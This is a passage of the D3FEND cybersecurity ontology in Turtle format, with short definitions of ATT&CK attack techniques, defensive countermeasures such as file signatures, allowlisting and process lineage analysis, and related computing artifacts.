    d3f:definition "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1564 a owl:Class ;
    rdfs:label "Hide Artifacts" ;
    d3f:attack-id "T1564" ;
    d3f:definition "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:Thread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Thread" ;
    d3f:definition "A Thread is the smallest unit of execution within a process, representing a sequence of instructions that can be scheduled and executed independently by the operating system." ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:authenticates a owl:ObjectProperty ;
    rdfs:label "authenticates" ;
    d3f:definition "x authenticates y: The subject x establishes the authenticity of some y. This relation indicates an authentication event has occurred." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01980375-s> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:ATTACKICSInhibitResponseFunctionTechnique a owl:Class ;
    rdfs:label "Inhibit Response Function Technique - ATTACK ICS" ;
    d3f:definition "The adversary is trying to prevent your safety, protection, quality assurance, and operator intervention functions from responding to a failure, hazard, or unsafe state." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0107 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Inhibit Response Function Technique" .

d3f:CWE-345 a owl:Class ;
    rdfs:label "Insufficient Verification of Data Authenticity" ;
    d3f:cwe-id "CWE-345" ;
    d3f:definition "The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-41 a owl:Class ;
    rdfs:label "Improper Resolution of Path Equivalence" ;
    d3f:cwe-id "CWE-41" ;
    d3f:definition "The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object." ;
    rdfs:subClassOf d3f:CWE-706 .

d3f:ConfigurationResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Configuration Resource" ;
    d3f:definition "A resource used to configure a system including software and hardware." ;
    rdfs:subClassOf d3f:Resource .

d3f:DefensiveTactic a owl:Class ;
    rdfs:label "Defensive Tactic" ;
    d3f:definition "A plan for attaining a particular goal." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/05913746-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enabled-by ;
            owl:someValuesFrom d3f:DefensiveTechnique ],
        d3f:Goal .

d3f:DigitalInformation a owl:Class ;
    rdfs:label "Digital Information" ;
    d3f:definition "Digital information is a broad category of encoded representations in digital form that convey meaning, instructions, or functionality." ;
    rdfs:subClassOf d3f:DigitalArtifact .

d3f:DomainAccountMonitoring a d3f:DomainAccountMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Account Monitoring" ;
    d3f:d3fend-id "D3-DAM" ;
    d3f:definition "Monitoring the existence of or changes to Domain User Accounts." ;
    d3f:kb-reference d3f:Reference-AuditUserAccountManagement ;
    d3f:monitors d3f:DomainUserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:DomainUserAccount ],
        d3f:UserBehaviorAnalysis .

d3f:FileContentRules a d3f:FileContentRules,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Content Rules" ;
    d3f:d3fend-id "D3-FCR" ;
    d3f:definition "Employing a pattern matching rule language to analyze the content of files." ;
    d3f:kb-article """## How it works
Rules, often called signatures, are used for both generic and targeted malware detection. The rules are usually expressed in a domain specific language (DSL), then deployed to software that scans files for matches. The rules are developed and broadly distributed by commercial vendors, or they are developed and deployed by enterprise security teams to address highly targeted or custom malware. Conceptually, there are public and private rule sets. Both leverage the same technology, but they are intended to detect different types of cyber adversaries.

## Considerations
* Patterns expressed in the DSLs range in their complexity. Some scanning engines support file parsing and normalization for high fidelity matching, others support only simple regular expression matching against raw file data. Engineers must make a trade-off in terms of:
     * The fidelity of the matching capabilities in order to balance high recall with avoiding false positives,
     * The computational load for scanning, and
     * The resilience of the engine to deal with adversarial content presented in different forms-- content which in some cases is designed to exploit or defeat the scanning engines.
 * Signature libraries can become large over time and impact scanning performance.
 * Some vendors who sell signatures have to delete old signatures over time.
 * Simple signatures against raw content cannot match against encoded, encrypted, or sufficiently obfuscated content.

## Implementations
 * YARA
 * ClamAV""" ;
    d3f:kb-reference d3f:Reference-ComputationalModelingAndClassificationOfDataStreams_CrowdstrikeInc,
        d3f:Reference-DetectingScript-basedMalware_CrowdstrikeInc,
        d3f:Reference-DistributedMeta-informationQueryInANetwork_Bit9Inc,
        d3f:Reference-SystemAndMethodsThereofForLogicalIdentificationOfMaliciousThreatsAcrossAPluralityOfEnd-pointDevicesCommunicativelyConnectedByANetwork_PaloAltoNetworksIncCyberSecdoLtd ;
    d3f:synonym "File Content Signatures",
        "File Signatures" ;
    rdfs:subClassOf d3f:FileContentAnalysis .

d3f:InternetNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Internet Network Traffic" ;
    d3f:definition "Internet network traffic is network traffic that crosses a boundary between networks. [This is the general sense of inter-networking; It may or may not cross to or from the Internet]" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:LocalUserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local User Account" ;
    d3f:definition "A user account on a given host is a local user account for that specific host." ;
    rdfs:subClassOf d3f:UserAccount .

d3f:Network a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network" ;
    d3f:definition "A network is a group of computers that use a set of common communication protocols over digital interconnections for the purpose of sharing resources located on or provided by the network nodes. The interconnections between nodes are formed from a broad spectrum of telecommunication network technologies, based on physically wired, optical, and wireless radio-frequency methods that may be arranged in a variety of network topologies." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/03826490-n> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Computer Network" .

d3f:Server a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Server" ;
    d3f:definition "In computing, a server is a piece of computer hardware or software (computer program) that provides functionality for other programs or devices, called \"clients\". This architecture is called the client-server model. Servers can provide various functionalities, often called \"services\", such as sharing data or resources among multiple clients, or performing computation for a client. A single server can serve multiple clients, and a single client can use multiple servers. A client process may run on the same device or may connect over a network to a server on a different device. Typical servers are database servers, file servers, mail servers, print servers, web servers, game servers, and application servers." ;
    d3f:manages d3f:ServiceApplicationProcess ;
    d3f:runs d3f:ServiceApplication ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Server_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:ServiceApplicationProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:ServiceApplication ],
        d3f:Host .

d3f:T1547 a owl:Class ;
    rdfs:label "Boot or Logon Autostart Execution" ;
    d3f:attack-id "T1547" ;
    d3f:definition "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel." ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:ATLASTactic a owl:Class ;
    rdfs:label "ATLAS Tactic" ;
    d3f:definition "An ATLAS Tactic is a categorical classification of techniques within the MITRE ATLAS™ framework, representing adversarial goals particular to artificial intelligence systems. It also adapts MITRE ATT&CK® Enterprise Matrix tactics by integrating machine learning concepts, thus capturing the unique motives behind actions in AI-specific operations." ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics> ;
    rdfs:subClassOf d3f:ATLASThing .

d3f:ATLASTechnique a owl:Class ;
    rdfs:label "ATLAS Technique" ;
    d3f:definition "An ATLAS Technique is an action conducted by adversaries to accomplish tactical goals within the context of artificial intelligence systems. These techniques articulate both 'how' adversaries execute these actions to reach their objectives and 'what' outcomes are achieved from these maneuvers." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques> ;
    rdfs:subClassOf d3f:ATLASThing .

d3f:AccessControlConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Control Configuration" ;
    d3f:definition "Information about what access permissions are granted to particular users for particular objects." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Access-control_list> ;
    rdfs:subClassOf d3f:ConfigurationResource .

d3f:Application a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application" ;
    d3f:definition "A program that gives a computer instructions that provide the user with tools to accomplish a task; \"he has tried several different word processing applications\".  Distinct from system software that is intrinsically part of the operating system.  An application can be made up of executable files, configuration files, shared libraries, etc." ;
    d3f:may-contain d3f:ApplicationConfiguration ;
    rdfs:seeAlso <http://dbpedia.org/resource/Application_software>,
        <http://wordnet-rdf.princeton.edu/id/06582286-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:Software .

d3f:AuthenticationService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication Service" ;
    d3f:authenticates d3f:Host ;
    d3f:definition "An authentication service is a mechanism, analogous to the use of passwords on time-sharing systems, for the secure authentication of the identity of network clients by servers and vice versa, without presuming the operating system integrity of either (e.g., Kerberos)." ;
    rdfs:isDefinedBy <https://www.gartner.com/en/information-technology/glossary/authentication-service> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Authentication> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:Host ],
        d3f:ServiceApplicationProcess .

d3f:Database a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database" ;
    d3f:contains d3f:DatabaseRecord ;
    d3f:definition "A database is an organized collection of data, generally stored and accessed electronically from a computer system. Where databases are more complex they are often developed using formal design and modeling techniques." ;
    d3f:may-contain d3f:StoredProcedure ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Database> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Database> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:DatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:StoredProcedure ],
        d3f:DigitalInformationBearer .

d3f:ExecutableAllowlisting a d3f:ExecutableAllowlisting,
        d3f:PlatformHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable Allowlisting" ;
    d3f:blocks d3f:ExecutableFile ;
    d3f:d3fend-id "D3-EAL" ;
    d3f:definition "Using a digital signature to authenticate a file before opening." ;
    d3f:filters d3f:CreateProcess ;
    d3f:kb-article """## How it works

This technique is generic and there are numerous ways to compute and authenticate digital signatures.
A digital certificate is generated from a private/public key pair issued by a certificate authority (CA). A hash of the file is encrypted using the private key. When the file is downloaded by another user, the user's system uses the public key to decrypt the hash and a new hash is created of the downloaded file. The hash decrypted by the public key is compared to the new hash and if there is a mismatch, further techniques, such as file deletion, file quarantine, or **Executable Blacklisting** may be invoked.

This technique may be invoked when deciding whether to execute a file.

## Considerations

Organizations which download or create high volumes of software make management complex, in particular engineering or scientific organizations.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ComputingApparatusWithAutomaticIntegrityReferenceGenerationAndMaintenance_Tripwire,Inc.>,
        d3f:Reference-EnhancingNetworkSecurityByPreventingUser-InitiatedMalwareExecution_ ;
    d3f:synonym "File Signature Authentication" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:ExecutionIsolation .

d3f:NetworkResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Resource" ;
    d3f:definition "In computing, a shared resource, or network share, is a computer resource made available from one host to other hosts on a computer network. It is a device or piece of information on a computer that can be remotely accessed from another computer, typically via a local area network or an enterprise intranet, transparently as if it were a resource in the local machine.Network sharing is made possible by inter-process communication over the network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Shared_resource> ;
    rdfs:subClassOf d3f:RemoteResource ;
    skos:altLabel "Shared Resource" .

d3f:PlatformMonitoring a d3f:PlatformMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Platform Monitoring" ;
    d3f:d3fend-id "D3-PM" ;
    d3f:definition "Monitoring platform components such as operating systems software, hardware devices, or firmware." ;
    d3f:enables d3f:Detect ;
    d3f:kb-article """Platform monitoring consists of the analysis and monitoring of system level devices and low-level components, including hardware devices, to detect unauthorized modifications or suspicious activity.

Monitored platform components includes system files and embedded devices such as:

 * Kernel software modules
 * Boot process code and load logic
 * Operating system components and device files
 * System libraries and dynamically loaded files
 * Hardware device drivers
 * Embedded firmware devices""" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:ProcessAnalysis a d3f:ProcessAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Analysis" ;
    d3f:d3fend-id "D3-PA" ;
    d3f:definition "Process Analysis consists of observing a running application process and analyzing it to watch for certain behaviors or conditions which may indicate adversary activity. Analysis can occur inside of the process or through a third-party monitoring application. Examples include monitoring system and privileged calls, monitoring process initiation chains, and memory boundary allocations." ;
    d3f:enables d3f:Detect ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:UserBehaviorAnalysis a d3f:UserBehaviorAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Behavior Analysis" ;
    d3f:d3fend-id "D3-UBA" ;
    d3f:definition "User behavior analytics (\"UBA\") as defined by Gartner, is a cybersecurity process about detection of insider threats, targeted attacks, and financial fraud. UBA solutions look at patterns of human behavior, and then apply algorithms and statistical analysis to detect meaningful anomalies from those patterns-anomalies that indicate potential threats.' Instead of tracking devices or security events, UBA tracks a system's users. Big data platforms are increasing UBA functionality by allowing them to analyze petabytes worth of data to detect insider threats and advanced persistent threats." ;
    d3f:enables d3f:Detect ;
    d3f:kb-article """## Technique Overview

Some techniques monitor patterns of human behavior and then apply algorithms and to identify patterns such as repeated login attempts from a single IP address or large file downloads, or abnormal accesses.

Other techniques may have explicit or rigid definitions of "bad behavior" which are then matched against instances in a computer network environment.""" ;
    d3f:synonym "Credential Monitoring",
        "UBA" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/User_behavior_analytics> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:isolates a owl:ObjectProperty ;
    rdfs:label "isolates" ;
    d3f:definition "x isolates y: The technique or agent x sets digital artifact y apart from other digital artifacts, sequestering y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00496744-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:d3fend-tactical-verb-property .

d3f:restricts a owl:ObjectProperty ;
    rdfs:label "restricts" ;
    d3f:definition "x restricts y: An entity x bounds the use of entity y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00234091-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:isolates .

d3f:CollectionTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Collection Technique" ;
    d3f:definition "The adversary is trying to gather data of interest to their goal." ;
    d3f:enables d3f:TA0009 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0009 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:D3FENDCore a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "D3FEND Core" .

d3f:DriverLoadIntegrityChecking a d3f:DriverLoadIntegrityChecking,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Driver Load Integrity Checking" ;
    d3f:authenticates d3f:HardwareDriver ;
    d3f:d3fend-id "D3-DLIC" ;
    d3f:definition "Ensuring the integrity of drivers loaded during initialization of the operating system." ;
    d3f:kb-article """## How it works
This technique can be accomplished in a number of ways:

* A kernel level security agent installed on a host machine ensures that the driver associated with the agent is first in the initialization order. A dependent DLL associated with the driver is configured to be processed before other dependent DLLs and executes a number of operations to ensure the driver associated with the security agent is initialized first.

* Kernel components can be signed by a certificate obtained by a third party to verify the source of the component and whether it has been modified. When signed, the component will include a signature block implemented as a hash value of the component header and can also include a certificate chain. The signature and certificate data are typically added before the kernel component is distributed to the public.


## Considerations

* The private keys to sign certificates as reputable companies have been stolen in the past -- in cases such as where certificates from Adobe, Realtek, and JMicron have been used to sign malicious executables. (Source: https://resources.infosecinstitute.com/cybercrime-exploits-digital-certificates/#gref)

* Trusted Root Certificate Authorities have been compromised, yielding the ability to use the compromised keys to generate certificates with an arbitrary company name.

* It may not be difficult for an attacker to start an organization which can obtain a signed certificate.

* A root certificate authority (CA) whose certificate is trusted in the verification logic could generate incorrect certificates, if they are lax or have ulterior motives.""" ;
    d3f:kb-reference d3f:Reference-IntegrityAssuranceThroughEarlyLoadingInTheBootPhase_CrowdstrikeInc,
        d3f:Reference-ProtectedComputingEnvironment_MicrosoftTechnologyLicensingLLC ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:HardwareDriver ],
        d3f:PlatformHardening .

d3f:OffensiveTechnique a owl:Class ;
    rdfs:label "Offensive Technique" ;
    d3f:display-baseurl "/offensive-technique/attack/" ;
    rdfs:isDefinedBy <https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:OffensiveTactic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:initiates ;
            owl:someValuesFrom d3f:Access ],
        d3f:CyberTechnique .

d3f:T1027 a owl:Class ;
    rdfs:label "Obfuscated Files or Information" ;
    d3f:attack-id "T1027" ;
    d3f:definition "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1546 a owl:Class ;
    rdfs:label "Event Triggered Execution" ;
    d3f:attack-id "T1546" ;
    d3f:definition "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)" ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:uses a owl:ObjectProperty ;
    rdfs:label "uses" ;
    d3f:definition "x uses y: An entity x puts into service a resource or implement y; makes y work or employ for a particular purpose or for its inherent or natural purpose." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01161188-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ATTACKMobileImpactTechnique a owl:Class ;
    rdfs:label "Impact Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0034 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Impact Technique" .

d3f:Detect a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Detect" ;
    d3f:definition "The detect tactic is used to identify adversary access to or unauthorized activity on computer networks." ;
    d3f:display-order 1 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:DomainTrustPolicy a d3f:DomainTrustPolicy,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Trust Policy" ;
    d3f:d3fend-id "D3-DTP" ;
    d3f:definition "Restricting inter-domain trust by modifying domain configuration." ;
    d3f:kb-reference d3f:Reference-HowTrustRelationshipsWorkForResourceForestsInAzureActiveDirectoryDomainServices ;
    d3f:restricts d3f:DirectoryService,
        d3f:T1087.002 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:DirectoryService ],
        [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:T1087.002 ],
        d3f:AccessPolicyAdministration .

d3f:FileEncryption a d3f:FileEncryption,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Encryption" ;
    d3f:d3fend-id "D3-FE" ;
    d3f:definition "Encrypting a file using a cryptographic key." ;
    d3f:encrypts d3f:File ;
    d3f:kb-article """## How it Works
Files are encrypted using either a single key for both encryption and decryption or separate keys. Single key encryption is symmetric encryption and using two key distinct keys is asymmetric encryption.

### Symmetric Cryptography
Symmetric encryption uses the same cryptographic key for both the encryption and decryption a file. Managing keys at scale sometimes uses asymmetric key exchange. Protocols such as RSA or Diffie-Hellman can be used to share the symmetric cryptographic key with the others.

### Asymmetric Cryptography
Asymmetric encryption is typically accomplished using public and private key certificates based on the X.509 standard. Files are encrypted using the public key and decrypted using their private key. Asymmetric encryption is typically slower than symmetric encryption and not widely used for large file encryption, but is popular for key wrapping, key exchanges, and digital signatures.

## Considerations
- Continuous monitoring must be carried out to ensure private keys are not compromised and the certificate authority (CA) is trusted.
- Transfer of private keys between multiple devices must be performed securely.""" ;
    d3f:kb-reference d3f:Reference-FileEncryption101SafeguardingYourSensitiveData,
        d3f:Reference-GuideToStorageEncryptionTechnologiesForEndUserDevices,
        d3f:Reference-SecurityConsiderationsForExchangingFilesOverTheInternet ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:encrypts ;
            owl:someValuesFrom d3f:File ],
        d3f:PlatformHardening .

d3f:IntranetAdministrativeNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet Administrative Network Traffic" ;
    d3f:definition "Intranet administrative network traffic is administrative network traffic that does not cross a given network's boundaries and uses a standard administrative protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:AdministrativeNetworkTraffic,
        d3f:IntranetNetworkTraffic .

d3f:IntranetNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet Network Traffic" ;
    d3f:definition "Intranet network traffic is network traffic traversing that does not traverse a given network's boundaries." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:LocalFilePermissions a d3f:LocalFilePermissions,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local File Permissions" ;
    d3f:d3fend-id "D3-LFP" ;
    d3f:definition "Local file permissions is the systematic process of defining, implementing, and managing access control policies that dictate user permissions for accessing files on a local system through the configuration of operating system functionality." ;
    d3f:kb-reference d3f:Reference-FileAndFolderPermissions ;
    d3f:restricts d3f:Directory,
        d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:Directory ],
        d3f:AccessPolicyAdministration .

d3f:MemoryBlock a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Block" ;
    d3f:contains d3f:MemoryWord ;
    d3f:definition "In computing (specifically data transmission and data storage), a block, sometimes called a physical record, is a sequence of bytes or bits, usually containing some whole number of records, having a maximum length; a block size. Data thus structured are said to be blocked. The process of putting data into blocks is called blocking, while deblocking is the process of extracting data from blocks. Blocked data is normally stored in a data buffer and read or written a whole block at a time." ;
    d3f:may-contain d3f:Record ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Block_(data_storage)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:Record ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:MemoryWord ],
        d3f:MemoryExtent .

d3f:ProcessLineageAnalysis a d3f:ProcessLineageAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Lineage Analysis" ;
    d3f:analyzes d3f:Process,
        d3f:ProcessTree ;
    d3f:d3fend-id "D3-PLA" ;
    d3f:definition "Identification of suspicious processes executing on an end-point device by examining the ancestry and siblings of a process, and the associated metadata of each node on the tree, such as process execution, duration, and order relative to siblings and ancestors." ;
    d3f:kb-article """## How it works
Process tree analysis techniques gather information on how a process was initiated to determine if a process is malicious. For example, if a process was not initiated from boot or not initiated by another process, that process is identified as suspicious. Also, if a new process was started before a process initiated by the device (ex. during boot) and that new process was not initiated by a user (which can be determined by examining process parameters such as type of process, its creator, source, etc.) the process is identified as suspicious.

For example, Microsoft Word may block execution of any subprocess that is not in an approved path.

## Considerations
* Attackers may spoof the parent PID (https://attack.mitre.org/techniques/T1502/), rendering such after-the-fact analysis on process lineage ineffective.
* Processes may hide from various means of detection; an example on Linux is where a rootkit might remove key files for the process from its directory in /proc.
* Zombie processes.""" ;
    d3f:kb-reference d3f:Reference-CAR-2020-11-002%3ALocalNetworkSniffing_MITRE,
        d3f:Reference-CAR-2020-11-004%3AProcessesStartedFromIrregularParent_MITRE,
        d3f:Reference-CAR-2021-02-002%3AGetSystemElevation_MITRE,
        d3f:Reference-CAR-2021-05-003%3ABCDEditFailureRecoveryModification_MITRE,
        d3f:Reference-CommandLaunchedFromWinLogon_MITRE,
        d3f:Reference-DebuggersForAccessibilityApplications_MITRE,
        d3f:Reference-GenericRegsvr32_MITRE,
        d3f:Reference-OutlierParentsOfCmd_MITRE,
        d3f:Reference-ProcessesSpawningCmd.exe_MITRE,
        d3f:Reference-QuickExecutionOfASeriesOfSuspiciousCommands_MITRE,
        d3f:Reference-Reg.exeCalledFromCommandShell_MITRE,
        d3f:Reference-RemotelyLaunchedExecutablesViaWMI_MITRE,
        d3f:Reference-ServiceOutlierExecutables_MITRE,
        d3f:Reference-ServiceSearchPathInterception_MITRE,
        d3f:Reference-ServicesLaunchingCmd_MITRE,
        d3f:Reference-SystemAndMethodsThereofForCausalityIdentificationAndAttributionsDeterminationOfProcessesInANetwork_PaloAltoNetworksIncCyberSecdoLtd,
        d3f:Reference-SystemAndMethodsThereofForIdentificationOfSuspiciousSystemProcesses_PaloAltoNetworksInc,
        d3f:Reference-UACBypass_MITRE ;
    d3f:synonym "Process Tree Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ProcessTree ],
        d3f:ProcessSpawnAnalysis .

d3f:SPARTAExecutionTechnique a owl:Class ;
    rdfs:label "Execution Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0004 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Execution Technique" .

d3f:SPARTATactic a owl:Class ;
    rdfs:label "SPARTA Tactic" ;
    d3f:definition "SPARTA Tactics represent the 'why' of a SPARTA technique. They denote the tactical goal of a threat actor and the reason for performing a technique." ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/SPARTA> ;
    rdfs:subClassOf d3f:SPARTAThing .

d3f:SoftwareUpdate a d3f:SoftwareUpdate,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Update" ;
    d3f:d3fend-id "D3-SU" ;
    d3f:definition "Replacing old software on a computer system component." ;
    d3f:kb-reference d3f:Reference-MethodAndSystemForProvidingSoftwareUpdatesToLocalMachines ;
    d3f:updates d3f:Software ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:updates ;
            owl:someValuesFrom d3f:Software ],
        d3f:PlatformHardening .

d3f:StackFrame a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stack Frame" ;
    d3f:definition "A machine-dependent and application-binary-dependent (ABI-dependent) data structure containing subroutine state information including the arguments passed into the routine, the return address back to the routine's caller, and space for local variables of the routine." ;
    d3f:may-contain d3f:Pointer,
        d3f:StackFrameCanary ;
